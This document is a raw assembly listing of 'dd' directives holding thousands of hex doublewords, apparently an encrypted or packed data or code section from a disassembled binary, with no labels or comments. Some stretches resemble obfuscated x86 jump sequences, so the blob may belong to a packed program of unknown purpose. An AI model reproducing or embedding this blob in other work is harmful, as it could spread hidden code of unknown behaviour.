		dd 0A36E5C12h, 3871B905h, 8E16AE8Dh, 0B48F1334h, 684FF4D7h
		dd 0EFD4F34Bh, 5DE5C673h, 8657197Ah, 0CBEC54BCh, 68226CF0h
		dd 593C8954h, 84A3193Ah, 87601B31h, 0F63F40E4h,	9E023DE7h
		dd 0B5AB01A5h, 0E041316Fh, 4DE98ABCh, 316FB5FBh, 0A49520BCh
		dd 77F27089h, 795EE5C6h, 296BDE42h, 47h, 8E3112AEh, 0B48FA816h
		dd 138FB428h, 10CD8CA6h, 0D7731073h, 372BC361h,	0DB7FCA56h
		dd 3DE7B60Ch, 3094AF33h, 316FC89Ah, 0E7ADD170h,	77F2DFC8h
		dd 8119A685h, 0BB271C3Bh, 0A3801C27h, 98043F18h, 0C06F2Dh
		dd 52E80000h, 0D5F6CDEAh, 57744F68h, 0E5ABC8EFh, 0BB8ADD19h
		dd 0C177D307h, 0F6372B41h, 7843F66Ah, 0A1C4E35Bh, 2B4E7805h
		dd 0DD56D37h, 2B441FA9h, 20BC2037h, 0B8052645h,	59002A9Fh
		dd 355BFF9Ch, 1A3DE5AAh, 7BC6E586h, 0A71A395Ch,	1FA71280h
		dd 310A57A3h, 0E87B4h, 0E299500h, 0D0F7486Bh, 0B2C96B5h
		dd 0D1F64D6Eh, 0D2A97B4h, 5DBC7C68h, 81A2C7E0h,	5E7D183Fh
		dd 86A5C0E7h, 0FD7C193Eh, 5E8C3A9Eh, 0E4B33162h, 1AEF5263h
		dd 0EE408C2Dh, 1C014F3Bh, 4E2D4F3Ah, 0AECDA834h, 0A613348Dh
		dd 0F1C83D85h, 0A164A011h, 0F442E685h, 0CB372BABh, 0E6A8CB57h
		dd 0AA384B85h, 0FDDA64ADh, 73C65AC6h, 31129116h, 3E1DA88Fh
		dd 86A11E86h, 86BD21BDh, 5F3A1DA5h, 0D8E3C47Ch,	0D6E47F2h
		dd 0E7B40EA9h, 0AC91DF3Dh, 2C0BB2B6h, 0F3C58B17h, 4AC772DFh
		dd 5936B3D6h, 0B1000007h, 63D57112h, 54372BC3h,	7750EBC8h
		dd 7B5CE1C2h, 0C34EE440h, 0E487372Bh, 2BC3F640h, 0E055C937h
		dd 33840FCAh, 51E743D3h, 66372B9Dh, 4719B4FAh, 2185E67Ah
		dd 3DE24D84h, 234023BFh, 0A94DB800h, 473A6A97h,	2506B32Fh
		dd 0FCDFBA9Dh, 7B586344h, 7073E1C6h, 6557AEF0h,	0D8ADB5Eh
		dd 2A960000h, 0F44B680Dh, 2F95B6D3h, 0F54E6D08h, 2994B7D2h
		dd 0BB7F6B0Eh, 0BDD8FF42h, 6207209Eh, 0BADFF841h, 63062199h
		dd 932581E2h, 0A431625Dh, 711274F3h, 2BC363D5h,	7DC85437h
		dd 3416E35Eh, 22114FEFh, 8CEF8C10h, 2BAB9E28h, 883DA137h
		dd 5176CEEDh, 29F1496Ah, 2BAB3B8Dh, 0FC60FC37h,	1844E5C7h
		dd 92F1D66Eh, 0AAE355F1h, 48D4372Bh, 86A998FDh,	0EA7E3681h
		dd 2Ch,	0D571126Dh, 372BC363h, 0EDCA7754h, 8C60C471h, 0A6372BC9h
		dd 0B402A6C5h, 65372BC9h, 2BC977C1h, 59D44837h,	61F570C5h
		dd 72FFFFFDh, 2BC37FD5h, 633CFF37h, 0BA9D2300h,	65C86C0Fh
		dd 483DE23Ch, 2A94B7D4h, 1FAA360Dh, 0C0E75F7Ch,	193E86A5h
		dd 9BBC0122h, 0ADA61009h, 0B7320957h, 0CB0h, 325770CCh
		dd 0EC89AE11h, 375275CFh, 0ED88AF14h, 315473CEh, 0B9047525h
		dd 66D8FB9Eh, 0BE072441h, 67DFFC99h, 0C7A42540h, 625CD563h
		dd 3ABDEA31h, 0F6CDEA52h, 714A6DD5h, 0D8CAF253h, 13224760h
		dd 7E36EAFCh, 2350h, 3112D700h,	0BC18AD8Ah, 372BC950h
		dd 0FCD26FEAh, 6F0CFFFFh, 2BC87DCBh, 0A00F8137h, 0CEB095BCh
		dd 0ED6ADF43h, 0A4C7A05Bh, 0E792BB00h, 0B91D7E3Dh, 316FEC0Fh
		dd 0DE2AC30h, 45298055h, 892D168Ah, 316F0F22h, 5F3569C8h
		dd 77F21B30h, 1F11Ch, 0FD59B00h, 39372BC3h, 1AC2795Ah
		dd 2BC308BEh, 2FB32F37h, 12AB8814h, 27920E35h, 290EB695h
		dd 0F0D76F4Ch, 0C07D6FCBh, 0DAC372Bh, 1DDF91D1h, 4B49D63Fh
		dd 9FD8D6E4h, 12B133D1h, 1B3C84A7h, 70A2547Eh, 3B511C9h
		dd 34372BBAh, 930F34A8h, 0AF17340Fh, 0ED8EED88h, 2BBAFF49h
		dd 17FB0337h, 0B80427ACh, 8FE7A935h, 0AB8B0055h, 0C27A59ECh
		dd 0F3BDDEE5h, 0E91D0AAAh, 0DC238A35h, 1687CA84h, 0C8B1D698h
		dd 84E39B4Ch, 278F9531h, 0C465372Bh, 0FED1FC98h, 0FD9E7E35h
		dd 2B23EF59h, 48F3D037h, 446F36Fh, 14Ah, 0CDEA5283h, 15328DAEh
		dd 0B89BA0h, 9A062198h,	883E9AF9h, 1372BC3h, 371499BEh
		dd 0F93A88Fh, 290EB093h, 0F99AF99Ch, 2BC3EB5Dh,	0FCDB6237h
		dd 75CEED71h, 0ECDE752h, 0E9963251h, 483DE7A0h,	0E14BEFD4h
		dd 0B316FE2h, 0D6F14B68h, 0FA9AC263h, 77F2C5D3h, 0C117D698h
		dd 3567B4AAh, 29C280h, 5B450000h, 0A4C7A0h, 3DE7B6D7h
		dd 0DB95F66Ah, 0D23F667Ch, 81BA0F00h, 6F4E8F25h, 98C46531h
		dd 0F25DD1FCh, 0B2BF77h, 52380000h, 0D5F6CDEAh,	6D4AF068h
		dd 6D56CA56h, 60952D0Eh, 121D43AEh, 0A1EF73D2h,	186B5F38h
		dd 0DFFC49EEh, 234067h,	142F9ABDh, 0CDA88F37h, 2B006C69h
		dd 59813937h, 2B134BFDh, 6CF06C37h, 0BF782309h,	0FD1678DCh
		dd 77393DE5h, 33D1A75Eh, 0ED8E1272h, 315473CEh,	1A88AF12h
		dd 57A30F0Dh, 818E0B30h, 9F00000Ah, 42610423h, 9CBFDAFDh
		dd 47640126h, 9DBEDBFCh, 76620720h, 0C1E65BC2h,	1E3987A4h
		dd 0C6E1587Bh, 1F3880A3h, 3C98FB7Ah, 3162628Ah,	527DFAADh
		dd 0EF2C1AEFh, 3C74254Fh, 59E0C3A0h, 0F5932581h, 38A4372Bh
		dd 577411A4h, 2AADC8EFh, 0F6CDEA52h, 2F4A6DD5h,	397AAh
		dd 31122D00h, 0A96AD8Ah, 42C48F44h, 2A9F8B9Ah, 6043F282h
		dd 5EC2F9DEh, 5D1AC1EBh, 21249A3Eh, 970B3DE2h, 0A885341Eh
		dd 27246FCBh, 0DF433BAEh, 1CEA40E4h, 0A1003BA6h, 778977Dh
		dd 20D471A9h, 53000003h, 5985C12h, 0E2AC8B36h, 69DC209Bh
		dd 2B7667CDh, 76D06937h, 0BD7C372Bh, 1C2783E0h,	1B3DE71Ch
		dd 0ED381587h, 1A2157A0h, 9B79Fh, 5E79C500h, 80A7183Bh
		dd 5B7CC6E5h, 81A61D3Eh, 5D7AC7E4h, 0D6C2C38h, 0D1F297B0h
		dd 0E2D486Fh, 0D6F590B7h, 0AD2C496Eh, 61DC6ACEh, 0B4E33162h
		dd 0CDEA5233h, 70DB95F6h, 0E6BF03A5h, 0FEBD9722h, 5FE64221h
		dd 5A3DE289h, 0D289A3C6h, 17D27615h, 4A3BA876h,	2896B5D6h
		dd 3F226C0Fh, 6EAF72C3h, 0A40065D0h, 3BB8D876h,	5A3FEEA6h
		dd 0DBE0C779h, 5C6740F8h, 5E47713Fh, 0E34A82F4h, 0E0BD7C56h
		dd 7DC3E083h, 59FD615Ah, 3BB882EFh, 0D66F4CD0h,	832744F1h
		dd 3174E598h, 6A91039Fh, 0DF43336Dh, 91261E4h, 0D26E0000h
		dd 0CB390F5h, 0D76D4E2Bh, 0DB695F0h, 0D16C4F2Ah, 0D38793F6h
		dd 553017AAh, 8AEFC876h, 523710A9h, 8BEEC971h, 7BCD690Ah
		dd 3C316260h, 0A05BEC6Bh, 78E4C378h, 3C7ABF1Bh,	811D3DE2h
		dd 587FC1E2h, 55A01E3Dh, 3103BB70h, 2893B0E4h, 82A8930Fh
		dd 3B1CA1D7h, 0D960C4A7h, 0DC3BABCAh, 0AA517B40h, 110AAECDh
		dd 1031743Eh, 0ABEF1E8Ch, 615A4333h, 89BE4h, 7A5DE100h
		dd 0A4833C1Fh, 7F58E2C1h, 0A582391Ah, 795EE3C0h, 2950081Ch
		dd 0F5D6B394h, 2A096C4Bh, 0F2D1B493h, 89086D4Ah, 60F84EEAh
		dd 0E8BF3162h, 0CDEA526Fh, 4A6DD5F6h, 69B10A29h, 2BC37BCDh
		dd 3CA03C37h, 76C06407h, 49372BC3h, 0C7FC49D5h,	42795EE4h
		dd 0C7FCDB61h, 42795EE4h, 225AFBDEh, 205CFDDFh,	9AF9DE66h
		dd 1A2106B9h, 67563386h, 7E36E748h, 74C26605h, 4B372BCBh
		dd 542062D7h, 0A7000001h, 0F6CDEA52h, 2F4A6DD5h, 0B14B5605h
		dd 0F024628Bh, 0D9BAD945h, 2BB9CB7Dh, 0D8FF4237h, 57EAC955h
		dd 0C5A6C570h, 0C97C5BE6h, 0E7DA126Dh, 0B289153Dh, 6F59BC16h
		dd 56355631h, 6F5944F2h, 52E77B31h, 0A6C9CBF3h,	8A77F24Ch
		dd 3Eh,	78A05B0Dh, 47DBE0C7h, 0CB1CB8DBh, 803DE7B6h, 80445CEh
		dd 0D164CE03h, 0E2C57F5Ch, 4BE1457Eh
		dd 0A1316F87h, 1538DC00h, 5A77F2A7h, 0BE1AC279h, 316F8B08h
		dd 9A2FB32Fh, 0BCD8h, 0EA525F00h, 70ECCB72h, 20D5684Bh
		dd 0D313E5A0h, 997836ABh, 0D2411814h, 7E5D3EA2h, 270F35C0h
		dd 608BFFA4h, 8D3B9FFCh, 0B2372BDDh, 83A09B2Eh,	841CA33Bh
		dd 1A861A3Dh, 9DBA0221h, 0B9B15CF8h, 823A372Bh,	2FEAC0A5h
		dd 0F99B2D89h, 9C372Bh,	355BFF9Ch, 1A3DE517h, 1C6BDD79h
		dd 6F4C316Dh, 4D6EF2D5h, 70ECD7F0h, 11AC8FECh, 0CD705336h
		dd 0EC7778EAh, 91AA57A2h, 71314h, 0F2D56900h, 2C0BB497h
		dd 0F7D06A49h, 2D0AB192h, 0F1D66B48h, 0A1D88094h, 7D5E3B1Ch
		dd 0A281E4C3h, 7A593C1Bh, 180E5C2h, 6670C662h, 10473162h
		dd 0C8EF5297h, 11368EADh, 0CDEA5172h, 0BADF6AF6h, 0CDEA523Dh
		dd 4A6DD5F6h, 36AA2Fh, 0D92D0000h, 1ED7827Ah, 79A7337Dh
		dd 5B49EA18h, 8DEE8DEEh, 2B879F29h, 893CA037h, 0E278922Dh
		dd 8009953Dh, 5702FA28h, 0E159FD9Eh, 0CA3BABE5h, 725ADF56h
		dd 0DD000000h, 0AE893112h, 96BC0995h, 0A690AE3h, 8CB79029h
		dd 0C601A510h, 793DE7B6h, 0D2C886E5h, 0B1E81B7h, 0B5112A9Fh
		dd 316F551Ch, 4A437BDAh, 0D6B5D68Fh, 6FB5C472h,	0D267FB31h
		dd 0C0D215B1h, 256B3BA3h, 2FB9B90Ah, 0C67D5EB5h, 45D954E1h
		dd 0D9604320h, 1759C5FEh, 8E422231h, 0A3269327h, 101h
		dd 0E6518EC0h, 1A29A91Ch, 22708F54h, 2693CC4Eh,	0C7A05BA1h
		dd 3CBD00A4h, 1C803DE2h, 0C1E65C7Fh, 447F58E2h,	0F0586DD8h
		dd 99C56422h, 0ED55D4FBh, 7BA9977h, 9E02259Fh, 9F692Bh
		dd 12EE0000h, 0CBEC5271h, 2BC3D96Fh, 0F742DE37h, 22411EDDh
		dd 0E23C3886h, 5663FF3Dh, 0CB6A30FEh, 14B0D393h, 316255A2h
		dd 99A2853Bh, 37148805h, 0C90AB8Ch, 546588B9h, 89EA77EDh
		dd 62599B2Dh, 0B5009C31h, 58F7h, 5C127000h, 5AFEB520h
		dd 372BFCECh, 0A3014FD3h, 9DB70200h, 0C66201DEh, 3DE2C979h
		dd 3991A438h, 39A11AE9h, 498A384h, 3F80A398h, 371884CAh
		dd 801CFEF5h, 43899BBh,	548829BDh, 63D57112h, 54316148h
		dd 48259337h, 861A3161h, 6F9EAF1Ah, 0DD77EC5Bh,	25h, 1271125Ah
		dd 2BC300B6h, 0FAB3737h, 372BC3B9h, 78C1E27Eh, 0C4EEA5Fh
		dd 85372BB9h, 5801C3Bh,	0FFFFFEA0h, 78A05B82h, 0BFDCE7C0h
		dd 2BC3AD1Bh, 920E9237h, 0F44E6D0Eh, 0A10566D3h, 3DE23D4Ch
		dd 863094F7h, 0B9316254h, 0E182B925h, 0E95C7BC2h, 3C5F18C3h
		dd 544DFB5Fh, 0EE723162h, 385B385Bh, 62542A9Ch,	24910D31h
		dd 0ABAB3880h, 75CEED3Bh, 0E97552EDh, 76FB4ED2h, 40FBD1EAh
		dd 35A00467h, 48317110h, 9AD4B7D4h, 9B998BD6h, 9CBF0A34h
		dd 4B610423h, 3A8C2890h, 0FD25F774h, 0BD9EFD61h, 0F2912403h
		dd 3E85BB56h, 61029E2Fh, 0B9DCFB42h, 2358FA1Dh,	6C4BF3B6h
		dd 0B5922A09h, 38F5A48Eh, 4148FF5Bh, 0F36F8CABh, 2A0DB390h
		dd 3388D11h, 9DC5F958h,	1C2700BEh, 0AE163580h, 76CFEC89h
		dd 0F6496A51h, 0C9F2D56Eh, 0D7F2C955h, 0E2997B4h, 0BD1CA935h
		dd 6A2C181h, 80BAD1B0h,	8DAE1B87h, 55761334h, 58F0CBECh
		dd 3C5F3CC8h, 0BAD12E98h, 388D1180h, 4BD6599h, 0DE634023h
		dd 0EB5EC2F9h, 9C5B098Eh, 6BD3F0CBh, 9E3F774Ch,	35EAAD5Eh
		dd 0FA7D3350h, 0C43AB945h, 0B289AE14h, 2407B22Eh, 268EBB9Ch
		dd 8FCF6EF9h, 81082F97h, 593A1DA2h, 56E3C47Ah, 147FC96Dh
		dd 3796372Bh, 87A01F07h, 5F78C1E2h, 146BC064h, 3091372Bh
		dd 84A31A0Ch, 722F45E1h, 2819372Bh, 7E35F306h, 0FFFFA168h
		dd 7112EFFFh, 0C300B612h, 0AB37372Bh, 2BC3B90Fh, 57E27E37h
		dd 88EBCC74h, 843116ABh, 5D7AC2E1h, 96280B68h, 0A3168AB1h
		dd 2A1F3880h, 0C2C4F859h, 0E5D45D7Ah, 7E36EACAh, 47A6h
		dd 2A6C500h, 372BCFB4h,	3710A88Bh, 0B90C900Ch, 0C7A05B3Eh
		dd 3CB800A4h, 1F833DE2h, 0F095822Ah, 2A0DB093h,	44FE3E9Fh
		dd 56358327h, 960A3162h, 95520923h, 0CB695F6h, 823A9E2Bh
		dd 0A53BABA9h, 4C35B039h, 0B2000000h, 0A4C7A05Bh, 0E23CB800h
		dd 2A1F833Dh, 8B9F0749h, 95B5B4D0h, 55448820h, 0B8F6CDEAh
		dd 0D3FB2CB8h, 2F95B618h, 0C9683308h, 83225295h, 3EF7A25Bh
		dd 0D141F95Dh, 0A7843BABh, 9E02391Eh, 0B33AA62Bh, 6D4AF3D0h
		dd 0ECD7F04Eh, 1242C570h, 0CEE95271h, 7BCD69F5h, 3C372BC3h
		dd 0E13D4E72h, 71EDA68Ch, 785FE7C4h, 0FFD86043h, 2106BF9Ch
		dd 5633861Ah, 44F25635h, 7B372BA0h, 0FEC5E258h,	614BFE62h
		dd 0FD9EFDBAh, 2BA0EF59h, 24CD037h, 6EF084BDh, 0D9BA0F60h
		dd 0E74A027Dh, 82B9253Dh, 6EC98C26h, 97C76631h,	0F1DCD2FDh
		dd 2FBE77h, 0BEDD0000h,	6EC1AC1Ah, 0BA0F9331h, 0C7A05B3Dh
		dd 5BE4C7A4h, 0BA6DC97Ch, 0BD3DE7B6h, 14BE1A21h, 0FE316FC8h
		dd 5A751F5Fh, 3677F2E0h, 0E4h, 0CDEA52B1h, 4F68D5F6h, 5DEB4F2Ch
		dd 62372BC3h, 53704BFEh, 8CAFCCEBh, 0B32F1433h,	0A61E3D06h
		dd 0E487E481h, 2BC3F640h, 0EAAC937h, 372BC3B8h,	0CA7FE37Fh
		dd 2BCC136Eh, 2700B837h, 0FED96142h, 8C2CEFC5h,	0C3710AFh
		dd 0C7823490h, 0A31B372Bh, 0AE23BF84h, 69CDAE32h, 3DE7A5BAh
		dd 614221BDh, 2D48FDDAh, 0F89B5407h, 0A10E3C5Ch, 0E0831F3Bh
		dd 3C597EC3h, 1785A21Fh, 5D6EFD52h, 0F1F97C47h,	0F000001h
		dd 0D2F194B3h, 0C2F4A6Dh, 0D7F491B6h, 0D2E4B6Ch, 0E6F297B0h
		dd 5176CB32h, 8EA91734h, 5671C8EBh, 8FA81033h, 0AC086BEAh
		dd 3162691Ah, 52CD4A1Dh, 0EDCA77EFh, 0B5D64AD6h, 2F0C2B96h
		dd 168AB196h, 5DE5C6A3h, 645F78C5h, 49BBB6F8h, 81667F6h
		dd 3094F794h, 372B5F86h, 489AE17h, 0CF482D98h, 0A4C7A05Bh
		dd 551B3C87h, 27C30830h, 0DCBF0AB4h, 0E788AF78h, 92B1D23Dh
		dd 1DAB0F28h, 8C316F8Ah, 9C1136h, 0BF9CFF9Ch, 32842007h
		dd 5316F8Ah, 0B3172C99h, 316F8A19h, 6A2A52F3h, 77F2A243h
		dd 0C229h, 0EA52AE00h, 0D7ECCB72h, 0CFECD74Bh, 7750EA72h
		dd 48F3D04Ch, 0ABC8F36Fh, 0C3DA6CC8h, 41DD372Bh, 0CC2D50F4h
		dd 6BE372Bh, 0C7CC7ADEh, 6FF3372Bh, 0BBF596F3h,	0FCAD180Ah
		dd 0F3D0653Ch, 7D576C4Bh, 2682E1BEh, 3DE776F5h,	0AF85E07Ch
		dd 0F45033ECh, 3BA1D4F5h, 91DFBC20h, 6B8E4AFDh,	2241F4CAh
		dd 0FE9BBC01h, 0D54760DDh, 5D6F8C86h, 0D98D0833h, 27000000h
		dd 0FAD9BC9Bh, 24076245h, 0FFDCB99Eh, 25066344h, 0CEDABF98h
		dd 92E930Ah, 0D6F14F6Ch, 0E2990B3h, 0D7F0486Bh,	0F45033B2h
		dd 31626842h, 12A52275h, 1DA88F31h, 0C7A4833Eh,	0B3440089h
		dd 8E3BABD6h, 5770C8EBh, 294C7A34h, 24D33DEFh, 5273F491h
		dd 11C972EAh, 2BC303B5h, 34A83437h, 0BEF093A8h,	903B2678h
		dd 9464231Dh, 8D80CB85h, 5B7CC2E1h, 6A49FC60h, 0B390F5D2h
		dd 6A492C0Bh, 6ACEF5D2h, 0FA0B64F5h, 0BA6C9031h, 63402502h
		dd 11A703DBh, 26740BAEh, 0A398BF05h, 0C4EDA33Fh, 62174F6Eh
		dd 8EAD960Ah, 72291235h, 558D3211h, 0BEF47F1h, 78E47874h
		dd 0CB6ADF43h, 0B32B9393h, 8E12290Eh, 0EC547712h, 0F093F0CBh
		dd 0BEFE254h, 0FC49D574h, 379h,	60E7FE00h, 0F2C9EE52h
		dd 754E69D1h, 0F3C8EF56h, 72496ED0h, 0F0CBEC51h, 72496ED3h
		dd 0F6CDEA51h, 73486FD5h, 0F3C8EF50h, 0E7895770h, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 68241489h,	6D49h, 56242C89h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h
		dd 0BB532414h, 37D7093Eh, 0EB81DBF7h, 0C1DF5FE8h, 89D98951h
		dd 685B59CDh, 7D7h, 81242489h, 42404h, 555A0000h, 0E4240481h
		dd 8F343240h, 0BB530842h, 44CC51CFh, 0EB81DBF7h, 87016D4Dh
		dd 5B085A29h, 5724148Bh, 0C781E789h, 4,	4C781h,	3C870000h
		dd 34FF5C24h, 0C4815D24h, 4, 0FB9B63E9h, 0F98B7AFFh, 0B8CDF413h
		dd 649AC73h, 0E0FFC503h, 4235660Ch, 59064E93h, 72135D4Fh
		dd 3E055791h, 27E53B77h, 7ACE714Fh, 167613D5h, 1572C159h
		dd 662013B7h, 7AF3916Fh, 6D5B4066h, 4CCD2B80h, 5B9902BBh
		dd 22A338B2h, 2C115956h, 4271F08Bh, 3FDC8F75h, 0F7F5028h
		dd 6F985FEEh, 353BCD8Eh, 0ADF78D8Dh, 89F90649h,	442F5D8Dh
		dd 0BD895706h, 64430C9h, 7985C758h, 0EC064406h,	6A000062h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 1F9C350h,	0D38B9C71h, 107185C7h, 644h, 8D890000h
		dd 6440775h, 8DDB5FFh, 6A0644h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 89CED2C3h, 44255595h
		dd 0F995FF06h, 0B206440Bh, 67FDBA72h, 6A1C57h, 1C4D95FFh
		dd 0C08B0644h, 0BF187CEBh, 96DC0FB0h, 78CF66F4h, 0B6243649h
		dd 0F89CCA58h, 8BB4727Eh, 55CB5FE3h, 4290C1BCh,	0B9AE3239h
		dd 8CF70187h, 30CA1439h, 0DBE17A7Eh, 0E21A1279h, 0C0955FADh
		dd 146ACD3Bh, 53E3DF2Dh, 578145BFh, 67542B0Ah, 0D16B5FEh
		dd 54E0FCCDh, 3F315ADAh, 0CB050145h, 7D6D439Bh,	0C2EE143Dh
		dd 38E39645h, 0E1405D22h, 11126661h, 70DC9192h,	0B8A5B69Bh
		dd 2FC5B3F6h, 0D3808E6Fh, 8E8851Bh, 29000000h, 0E8552FCBh
		dd 2332BAF8h, 442D918Dh, 0C6815E06h, 5877h, 5E9h, 5FAA7E00h
		dd 0BBF6C8h, 0F000000h,	18Bh, 148BF500h, 0DEB8661Eh, 86F28189h
		dd 234D86E0h, 4413C5BDh, 0D3C28106h, 814135D8h,	155381EAh
		dd 9B55166h, 1E14895Fh,	2F2DBD8Bh, 0AE90644h, 9C000000h
		dd 41543D3Dh, 1A606B2Fh, 0DAEB8148h, 895B8353h,	4406CD95h
		dd 0D6C38106h, 815B8353h, 6FF44DE7h, 10FB812Eh,	0FFFFFA8h
		dd 0FFFFA185h, 8EBF5FFh, 552391Ch, 77E7339Ch, 0E9CE9h
		dd 0B0E16800h, 0F7E90649h, 68FFFACFh, 649B1E2h,	0FACFEDE9h
		dd 0B40868FFh, 0E3E90649h, 68FFFACFh, 649B520h,	0FACFD9E9h
		dd 0B69968FFh, 0CFE90649h, 68FFFACFh, 649B914h,	0FACFC5E9h
		dd 0BAF068FFh, 0BBE90649h, 68FFFACFh, 649BBE8h,	0FACFB1E9h
		dd 2BA28FFh, 0B33195ABh, 0BC241Ah, 0B22A97A9h, 1C3251Bh
		dd 0BAA28AA8h, 0F31984Ch, 0BB852C98h, 33D9448h,	0CF8B22A2h
		dd 0E58534ABh, 1046C2E6h, 0CC8F1074h, 0FDC2E6E4h, 152694DCh
		dd 0C5885967h, 7139ABC0h, 0F76ED64Fh, 41E85CC9h, 0F8676B07h
		dd 0C9302641h, 0EE8AAB8Ah, 0FB8F88Ah, 0F960DC44h, 0BE42AAD8h
		dd 0F66ED7E9h, 99064E6Fh, 0CF73C9ABh, 0FE9A0322h, 65BBAB8Ch
		dd 0CD358691h, 0F6D7F66Fh, 0B97621BEh, 266C2EBh, 0B942F966h
		dd 0AA8BC2EBh, 5A00C6D8h, 0C446FFDh, 7014AB77h,	0EC622CEFh
		dd 0CEBC9DC2h, 0AFB14273h, 5E682013h, 0FBAFDDE6h, 330Fh
		dd 9B37BD00h, 53E97612h, 0BACF749Fh, 0DA9D029Bh, 0A3C2EC88h
		dd 3B059C40h, 0D831ACAh, 8B03AC76h, 0B5D9B39Fh,	53286F4Eh
		dd 262C7h, 0CD33FBB0h, 81000000h, 0F76ED64Fh, 7CE55FC9h
		dd 38E37C18h, 95C93094h, 0C431B9A9h, 1D23558Ch,	83A23BA9h
		dd 0BB299CA2h, 0EC58CDF3h, 10631175h, 748FF6B4h, 0B78460Eh
		dd 796FF059h, 80C92FB8h, 0A1C5A123h, 21BE269Fh,	0C92FAF7Ah
		dd 0AF1BDE41h, 8DACC92Fh, 3B92DAFBh, 0BD24A005h, 0BADE57FBh
		dd 7625BADEh, 57C92FAFh, 0EBA13E76h, 22CF73B1h,	44ECAA03h
		dd 0D232ADC9h, 0BC93255h, 0B52A4E2Ah, 0C92E4506h, 0CAAEE6C7h
		dd 7BD292F4h, 0C461E345h, 7DEED663h, 16881C85h,	0AE00000Ch
		dd 1F218834h, 0AA943DA7h, 112F8636h, 9BA50CB0h,	3C1EB72Dh
		dd 269E08F4h, 0EE56B18Fh, 520A7947h, 0E460C5FBh, 0F26D094Dh
		dd 0C2E6E447h, 4F64D680h, 0FCC26BD9h, 0C674DD87h, 76129B37h
		dd 749F53E9h, 29BBACFh,	0EC88DA9Dh, 0CCBEDAC2h,	29A1BF67h
		dd 0D9801F2Ah, 0F2C2EC2Bh, 996F2D3h, 0C2EC2C52h, 69125A7Bh
		dd 4BEC58BDh, 0FC09FBB0h, 6D000000h, 37E39609h,	0C5E4C2ECh
		dd 0D64F3F8Dh, 0AD93F76Eh, 0B331953Ah, 82E4DA92h, 75D4A6C2h
		dd 129883B8h, 23BC256Dh, 0C92FC245h, 44ED57CCh,	3AA21E20h
		dd 0C11AC15Eh, 92B3C92Fh, 0C57FE4DAh, 3F761A5Ch, 0C406C45Bh
		dd 2755CF73h, 1D89B759h, 6D1F3EA7h, 0F8B02FE7h,	4006AF8Eh
		dd 9E0165B0h, 0C932C415h, 3CCFB6C4h, 3271981Dh,	0ACDEBB47h
		dd 78300165h, 754B2F0Eh, 51355113h, 2DBC0BCEh, 0D59DBCC9h
		dd 60E4427Ch, 0EE4168C5h, 91059C7Dh, 0B15h, 2C8537ADh
		dd 9B32B212h, 369F3DA5h, 8C259708h, 399054B2h, 0BD2B111Bh
		dd 3590AE07h, 0A918268Fh, 3FA49A33h, 0C682C85h,	0E6E2E893h
		dd 5B7E1C2h, 2BEE7115h,	9CC93094h, 5DCBF5BDh, 582A4EE7h
		dd 620AEBF6h, 90F7C90Dh, 246C4DD4h, 407EA91Ah, 0C6E77EE6h
		dd 2FFCA259h, 340A2BC9h, 513514D0h, 0FBEFAA35h,	0F9D8C92Fh
		dd 4FAA18B1h, 780A6ED6h, 0E6978541h, 0D89AF021h, 5CFEED5Eh
		dd 0C8AC357Dh, 48D18BF6h, 0CDD41B69h, 0E0DE396Ah, 0B72D96A8h
		dd 0D2087A1Eh, 32620618h, 23CF89C1h, 77118EEAh,	76CF7410h
		dd 69573357h, 24D748FCh, 0A5C2EBF8h, 0CA55CC84h, 0C2EBF80Ch
		dd 49D08CF5h, 0B2010A77h, 5EC250C4h, 0B3AD3415h, 0A9EE5EC8h
		dd 83E348D2h, 84FBB0A8h, 29B49BAh, 0D53B6B23h, 89000006h
		dd 457C6715h, 0EA21436Ah, 0C14CE4A2h, 4D87D7A5h, 6E43B197h
		dd 97DD4226h, 0D6CF745Fh, 10E193F7h, 9C48BEB0h,	0E918EBEEh
		dd 55BA7748h, 95DDFC44h, 930C680Ch, 0C2EC02E8h,	0F1873DA9h
		dd 500798D0h, 39C2EC03h, 0B18F16CEh, 3F74ED57h,	2562DA44h
		dd 0F76FD45Eh, 3CFBB01Eh, 678h,	1767158Eh, 31DE0722h, 0EB053508h
		dd 0F3D2128Dh, 0D855FDBBh, 0AA5523BCh, 95B4CF74h, 68E4930Ch
		dd 0B0D4C2ECh, 69904BD4h, 1839C2ECh, 5A9FE26Ah,	0B8F06189h
		dd 0C4A057C3h, 0EB98A05Bh, 360829C2h, 685E16CEh, 0FBAFB3FCh
		dd 10D4330Dh, 940DB72Eh, 21ADFDB5h, 0C9000006h,	58CF8CF7h
		dd 3785CDECh, 2BEE7115h, 9CC93094h, 0A28341A2h,	21B8249Ch
		dd 0F7FB4800h, 3753DA76h, 0B96E2153h, 26BF2580h, 32FF7507h
		dd 714FD098h, 0D0CF73A5h, 0B1D5B1F1h, 0EBA46B2Eh, 357D5CC2h
		dd 0CDD4AAh, 206D054Fh,	580C7A44h, 0A9EB7410h, 0E04522E8h
		dd 2D9BA5C1h, 2066FFB7h, 5610590h, 8C15C73Bh, 207AE5ADh
		dd 69435EDBh, 0B1122C48h, 920BB92Ch, 5F3B92B3h,	700F0061h
		dd 467CAEAFh, 7C420A2Bh, 4BF85D07h, 0FDF7BDD2h,	8EFF064h
		dd 0DD470000h, 7CE8D67Fh, 0E35F61C8h, 71EED079h, 0EA5C62CBh
		dd 27F1D37Ah, 0B811D335h, 0CA51F86h, 0C46DCF32h, 72DB89FAh
		dd 0ECD5236h, 0BFC2E6E0h, 0D64F5BE9h, 21B1F76Eh, 0B66FF094h
		dd 5CF7A43h, 0DB530B77h, 0D13FD3A7h, 0D90C7E0Fh, 7A0C4464h
		dd 0DA6DF25Bh, 7CC2E793h, 5BF2618h, 521ACA3Bh, 5014714Fh
		dd 9E17BFF9h, 93BE65FAh, 3E1FC2E7h, 0B82C99A7h,	8E117511h
		dd 0C2E792CBh, 0A95DDFCh, 0C2E7935Bh, 0B61FBD24h, 30A91B88h
		dd 0E782E8AFh, 0C5A1C5C2h, 79A39F5Ah, 0AA1628CFh
		dd 0AB8AAB32h, 0A18E98E3h, 17298044h, 30AF36AEh, 0CF79B385h
		dd 0AE73348h, 714F2B99h, 296FFF10h, 0E32C76CFh,	0B7238AC2h
		dd 13Dh, 6ED64F05h, 36AD93F7h, 91F0CE86h, 944AF16Eh, 0A283C930h
